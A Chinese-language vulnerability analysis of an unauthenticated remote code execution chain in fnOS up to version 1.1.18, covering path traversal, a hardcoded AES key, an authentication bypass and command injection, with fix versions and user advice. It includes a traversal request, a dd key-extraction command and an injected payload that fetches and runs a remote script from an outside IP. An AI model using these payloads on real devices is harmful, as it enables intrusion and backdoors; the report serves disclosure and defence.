飞牛系统(fnOS)远程代码执行漏洞链技术分析报告

一份关于无需认证即可获取系统最高权限(root)的严重复合型攻击链的完整复现与分析报告。影响版本:fnOS ≤ 1.1.18

关键风险:无需认证RCE 攻击链:4个环节 测试环境:FnOS 1.1.14

状态:漏洞链已于1.1.18版本完整修复

报告摘要

核心发现

成功复现并系统化分析了飞牛系统(fnOS)中存在的一个严重远程代码执行(RCE)漏洞链。该漏洞链允许攻击者在无需任何身份认证的前提下,通过四个逻辑递进的漏洞环节,最终实现对设备的完全控制,获取最高权限(root),并植入持久化后门程序。

影响与修复

  • 影响版本fnOS ≤ 1.1.18
  • 路径穿越修复版本1.1.15(仅修复此环节)
  • 完整修复版本1.1.18(唯一安全版本)
  • 漏洞编号:截至目前,尚未被分配CVE或CNVD等官方漏洞编号

漏洞链攻击路径总览

该RCE漏洞链由四个关键环节构成,形成一条从信息泄露到权限提升再到命令执行的完整攻击链:

1. 路径穿越(任意文件读取)

攻击起点

利用 /app-center-static/serviceicon/myapp/... 接口的路径过滤缺陷,读取服务器任意文件,获取包含硬编码密钥的文件。

作用:下载 /usr/trim/etc/rsa_private_key.pem

2. 硬编码AES密钥提取

核心密钥

从下载的PEM文件中提取偏移100字节处的32字节AES主密钥(Root Key)。该密钥是系统身份认证的核心。

作用:获得伪造合法用户凭证的"万能钥匙"。

3. WebSocket网关认证绕过

权限提升

利用获取的AES密钥,本地伪造有效的 fnos-Secret 签名,绕过WebSocket网关的身份验证,获取管理员API调用权限。

作用:无需密码,伪造"已登录"管理员身份。

4. Docker镜像API命令注入

最终执行

调用高权限API appcgi.dockermgr.systemMirrorAdd,在 url 参数中注入系统命令,实现远程代码执行。

作用:执行任意恶意命令,完全控制设备。

详细漏洞链技术分析

1 漏洞一:路径穿越(任意文件读取)

无需认证 已修复于1.1.15

技术原理

飞牛系统(fnOS)的Web服务中存在一个路径穿越漏洞,位于 /app-center-static/serviceicon/myapp/ 接口。该接口未对用户输入的 size 参数进行充分的路径过滤与规范化处理,导致攻击者可通过构造包含 ../ 的恶意路径,遍历并读取服务器文件系统上的任意文件。

关键利用目标

在本攻击链中,攻击者利用此漏洞读取以下文件:
/usr/trim/etc/rsa_private_key.pem
该文件虽名为"RSA私钥",实则内嵌了一个用于AES加密的硬编码主密钥。

漏洞利用示例

GET /app-center-static/serviceicon/myapp/%7B0%7D/?size=../../../../etc/passwd HTTP/1.1
Host: [目标IP]:5666

若返回 /etc/passwd 内容,则漏洞存在。类似方法可读取任何文件。

注:无论是否启用了https,只要在公网能访问到就都可以读取!甚至FN connect也不能幸免!

影响与修复

项目说明
影响版本fnOS ≤ 1.1.18
修复版本1.1.15
修复方式修复了路径遍历过滤逻辑,阻止非法路径访问
备注1.1.15版本虽修复此漏洞,但系统仍存在其他高危漏洞,并非完全安全

2 漏洞二:硬编码AES主密钥提取

信息泄露 修复于1.1.18

技术原理

在成功读取 /usr/trim/etc/rsa_private_key.pem 文件后,攻击者发现该文件并非标准的RSA私钥,而是一个包含硬编码AES密钥的二进制文件。经分析,该文件在起始偏移量100字节处,嵌入了一个32字节的AES主密钥(Root Key)

安全风险

  • 所有设备使用相同的主密钥,一旦泄露,所有设备均受影响
  • 攻击者无需破解密码或窃取会话,即可离线伪造任意用户身份
  • 为后续认证绕过提供了技术基础。

密钥提取命令

dd if=rsa_private_key.pem bs=1 skip=100 count=32 of=aes_root_key.bin

使用该密钥即可在本地实现与服务器相同的Token生成算法。

影响与修复

项目说明
影响版本fnOS ≤ 1.1.18
修复版本1.1.18
修复方式移除硬编码密钥,改用设备唯一密钥或安全密钥管理机制

3 漏洞三:WebSocket网关认证绕过

认证绕过 修复于1.1.18

技术原理

飞牛系统的WebSocket网关在验证用户身份时,依赖一个名为 fnos-Secret 的签名机制。该签名用于证明客户端请求的合法性。然而,系统未对签名的生成过程进行有效保护,且签名算法依赖于前述的硬编码AES主密钥。攻击者利用已获取的AES主密钥,可在本地模拟服务器的签名生成逻辑,凭空伪造出一个有效的 fnos-Secret。当该签名随请求发送至WebSocket网关时,服务器无法辨别其真伪,从而误认为请求来自合法已登录用户。

攻击后果

  • 攻击者无需用户名、密码或任何会话Cookie,即可绕过所有登录验证
  • 可调用需管理员权限的敏感API接口,为后续命令注入提供了权限基础。

影响与修复

项目说明
影响版本fnOS ≤ 1.1.18
修复版本1.1.18
修复方式重构认证机制,引入动态密钥、时间戳、挑战-响应等防重放与伪造机制
备注该漏洞在1.1.15版本中未被修复,表明该版本仅部分缓解风险

4 漏洞四:Docker镜像API命令注入

远程代码执行 修复于1.1.18

技术原理

在成功伪造身份并获得高权限后,攻击者可调用系统管理API。其中,appcgi.dockermgr.systemMirrorAdd 接口用于添加Docker镜像源,其 url 参数在处理时未进行安全过滤。攻击者可在 url 参数中注入操作系统命令,利用Shell的命令连接符(如 ;&&|)执行任意代码。服务器在调用系统命令下载镜像时,会无条件执行注入的恶意指令。

攻击后果

  • 远程代码执行(RCE):攻击者可在设备上执行任意命令。
  • 持久化后门:常见操作包括植入挖矿程序、替换系统服务、安装内核模块等。

漏洞利用示例

{
  "method": "appcgi.dockermgr.systemMirrorAdd",
  "params": {
    "url": "http://example.com; wget http://45.95.212.102/payload.sh -O /tmp/p; chmod +x /tmp/p; /tmp/p"
  }
}

服务器将执行注入的 wgetchmod 命令,下载并执行恶意脚本。

影响与修复

项目说明
影响版本fnOS ≤ 1.1.18
修复版本1.1.18
修复方式对API参数进行严格输入验证与命令过滤,禁用危险字符
备注此为攻击链的最终执行环节,危害最大

影响范围、修复建议与安全响应

影响版本汇总

漏洞环节 受影响版本 修复版本 是否完全修复
路径穿越≤ 1.1.181.1.15否(仅修复此环节)
硬编码密钥≤ 1.1.181.1.18
认证绕过≤ 1.1.181.1.18
命令注入≤ 1.1.181.1.18

关键结论fnOS 1.1.15 版本仅修复了路径穿越漏洞,但其余三个漏洞仍存在,系统仍可被完全控制1.1.18 版本为唯一完整修复版本

官方修复措施

  • 通过微信公众号发布《重要安全更新通知》,确认存在"异常访问风险"与"代码疏漏"。
  • 推送 1.1.15 版本(修复路径穿越)与 1.1.18 版本(完整修复)。
  • 提供官方查杀脚本:
    curl -L https://static2.fnnas.com/aptfix/trim-sec -o trim-sec && chmod +x trim-sec && ./trim-sec
  • 承诺成立安全快速响应团队,设立漏洞反馈邮箱:[email protected]

用户安全建议

  1. 立即升级fnOS 1.1.18 或更高版本。
  2. 若OTA升级失败,从官网下载完整镜像重装系统。系统采用存算分离架构,重装不影响存储池数据。
  3. 运行官方查杀脚本,清除潜在后门。
  4. 关闭公网暴露面:关闭外网端口转发(5666、8000、22等)、飞牛Connect、fnid、内网穿透等服务。
  5. 启用安全访问机制:使用加密隧道(如WireGuard、Tailscale),启用双因素认证(2FA),配置主机防火墙。
  6. 排查异常指标(IoC):监控恶意文件、C2域名/IP及样本哈希。

漏洞披露状态与社区反馈

CVE/CNVD收录情况

  • 当前所有权威平台均未收录该漏洞链
  • 无CVE编号,无CNVD编号。
  • 官方未发布标准安全公告,也未提供漏洞代号。
  • 使用"异常访问风险""代码疏漏"等模糊术语,被社区广泛批评信息披露不透明。

社区争议

多名用户指出,即便启用HTTPS、2FA、强密码,设备仍被攻陷,证明问题源于系统漏洞而非用户配置。

官方解释称遵循"修复后再披露"的安全惯例,以避免补丁覆盖前引发更大风险。但延迟披露导致大量设备在无预警情况下被入侵,引发信任危机。

最终结论

飞牛系统(fnOS)此次暴露的远程代码执行漏洞链,是由路径穿越、硬编码密钥、认证绕过、命令注入四个高危漏洞构成的复合型攻击链。该漏洞链危害极大,允许攻击者在无需认证的情况下,完全控制设备并植入持久化后门

  • 攻击起点:路径穿越漏洞(/app-center-static/serviceicon/myapp/...)允许读取 /usr/trim/etc/rsa_private_key.pem 文件。
  • 核心密钥:该文件偏移100字节处硬编码了32字节AES主密钥。
  • 权限提升:利用该密钥伪造 fnos-Secret,绕过WebSocket网关认证。
  • 最终执行:调用 appcgi.dockermgr.systemMirrorAdd 接口,通过 url 参数注入恶意命令。

所有 fnOS 1.1.18 以下版本均受影响。虽然1.1.15版本修复了路径穿越,但其余漏洞仍存在,1.1.18 为唯一完整修复版本

建议所有用户立即升级至 fnOS 1.1.18,运行官方查杀脚本,并关闭公网暴露面,以彻底消除风险。同时,呼吁厂商加强安全开发生命周期(SDL)管理,提升漏洞披露透明度,重建用户信任。